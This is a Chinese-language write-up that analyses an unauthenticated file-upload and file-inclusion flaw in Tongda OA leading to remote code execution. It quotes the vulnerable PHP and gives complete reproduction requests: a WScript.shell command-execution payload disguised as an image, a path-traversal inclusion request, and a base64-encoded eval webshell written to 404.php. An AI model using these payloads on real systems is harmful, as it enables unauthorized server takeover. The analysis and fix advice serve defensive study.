通达OA文件上传&文件包含导致RCE浅析
字数 1092 2025-08-25 22:58:20
通达OA文件上传&文件包含导致RCE漏洞分析
漏洞概述
通达OA是由北京通达信科科技有限公司开发的一款办公系统。该漏洞允许攻击者在未授权的情况下上传图片木马文件,并通过精心构造的请求进行文件包含,最终实现远程命令执行(RCE)。攻击者无需登录认证即可完成整个攻击过程。
影响版本
- V11版
- 2017版
- 2016版
- 2015版
- 2013版
- 2013增强版
漏洞分析
1. 文件上传漏洞
存在漏洞的上传功能文件位于:webroot\ispirit\im\upload.php
关键绕过点
-
认证绕过:
- 通过传递参数"P"或参数P不为空,可以绕过身份认证
- 关键代码:
$P = $_POST['P']; if (isset($P) || $P != '') { ob_start(); include_once 'inc/session.php'; session_id($P); session_start(); session_write_close(); } else { include_once './auth.php'; }
-
上传条件:
- 需要传递DEST_UID参数且不为空,且不为0的值
- 关键代码:
if ($DEST_UID != '' && !td_verify_ids($ids)) { $dataBack = array('status' => 0, 'content' => '-ERR ' . _('接收方ID无效')); echo json_encode(data2utf8($dataBack)); exit; }
-
文件上传处理:
- 上传函数位于
inc/utility_file.php的1321行 - 会对文件名进行URL解码和检查
- 关键检查函数
is_uploadable()会检查文件后缀是否为php
- 上传函数位于
绕过限制的方法
- 上传以
.php.为后缀的webshell文件(Windows环境下) - 上传图片木马文件,配合文件包含漏洞实现RCE
2. 文件包含漏洞
存在漏洞的文件位于:webroot\ispirit\interface\gateway.php
关键绕过点
-
认证绕过:
- 不传递参数P即可绕过前期检查
- 关键代码:
if ($P != '') { if (preg_match('/[^a-z0-9;]+/i', $P)) { echo _('非法参数'); exit; } session_id($P); session_start(); session_write_close(); if ($_SESSION['LOGIN_USER_ID'] == '' || $_SESSION['LOGIN_UID'] == '') { echo _('RELOGIN'); exit; } }
-
文件包含条件:
- 通过json格式传递url参数
- url参数值需要包含
general/、ispirit/或module/中的一个 - 关键代码:
if (strpos($url, 'general/') !== false || strpos($url, 'ispirit/') !== false || strpos($url, 'module/') !== false) { include_once $url; }
漏洞复现
环境搭建
- 下载通达OA安装包:
- 链接: https://pan.baidu.com/s/1QFAoLxj9pD1bnnq3f4I8lg
- 提取码: ousi
- 直接运行exe文件进行安装
- 确保本地80端口未被占用
1. 命令执行复现
文件上传
构造上传请求包:
POST /ispirit/im/upload.php HTTP/1.1
Host: 192.168.174.159:80
Content-Length: 655
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBwVAwV3O4sifyhr3
------WebKitFormBoundaryBwVAwV3O4sifyhr3
Content-Disposition: form-data; name="UPLOAD_MODE"
2
------WebKitFormBoundaryBwVAwV3O4sifyhr3
Content-Disposition: form-data; name="P"
------WebKitFormBoundaryBwVAwV3O4sifyhr3
Content-Disposition: form-data; name="DEST_UID"
1
------WebKitFormBoundaryBwVAwV3O4sifyhr3
Content-Disposition: form-data; name="ATTACHMENT"; filename="jpg"
Content-Type: image/jpeg
<?php
$command = $_POST['cmd'];
$wsh = new COM('WScript.shell');
$exec = $wsh->exec("cmd /c " . $command);
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>
------WebKitFormBoundaryBwVAwV3O4sifyhr3--
文件包含执行命令
构造包含请求包:
POST /ispirit/interface/gateway.php HTTP/1.1
Host: 192.168.174.159
Content-Type: application/x-www-form-urlencoded
Content-Length: 69
json={"url":"/general/../../attach/im/2003/354900984.jpg"}&cmd=whoami
2. GetShell复现
上传webshell
构造上传请求包:
POST /ispirit/im/upload.php HTTP/1.1
Host: 192.168.174.159:80
Content-Length: 602
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBwVAwV3O4sifyhr3
------WebKitFormBoundaryBwVAwV3O4sifyhr3
Content-Disposition: form-data; name="UPLOAD_MODE"
2
------WebKitFormBoundaryBwVAwV3O4sifyhr3
Content-Disposition: form-data; name="P"
------WebKitFormBoundaryBwVAwV3O4sifyhr3
Content-Disposition: form-data; name="DEST_UID"
1
------WebKitFormBoundaryBwVAwV3O4sifyhr3
Content-Disposition: form-data; name="ATTACHMENT"; filename="jpg"
Content-Type: image/jpeg
<?php
$fp = fopen('404.php', 'w');
$a = base64_decode("PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg==");
fwrite($fp, $a);
fclose($fp);
?>
------WebKitFormBoundaryBwVAwV3O4sifyhr3--
触发文件包含写入webshell
构造包含请求包:
POST /ispirit/interface/gateway.php HTTP/1.1
Host: 192.168.174.159
Content-Type: application/x-www-form-urlencoded
Content-Length: 59
json={"url":"/general/../../attach/im/2003/1153189608.jpg"}
连接webshell
使用中国菜刀等工具连接写入的404.php文件:
<?php eval($_POST['cmd']);?>
漏洞修复建议
- 及时更新官方发布的安全补丁
- 对上传文件进行更严格的过滤和检查
- 限制文件包含功能的路径访问范围
- 加强身份认证机制,避免绕过
总结
该漏洞组合了文件上传和文件包含两个漏洞点,通过精心构造的请求可以在未授权的情况下实现远程命令执行。攻击者可以上传恶意文件并通过文件包含功能执行这些文件,最终获取服务器控制权限。建议受影响的用户尽快升级到最新版本或应用官方补丁。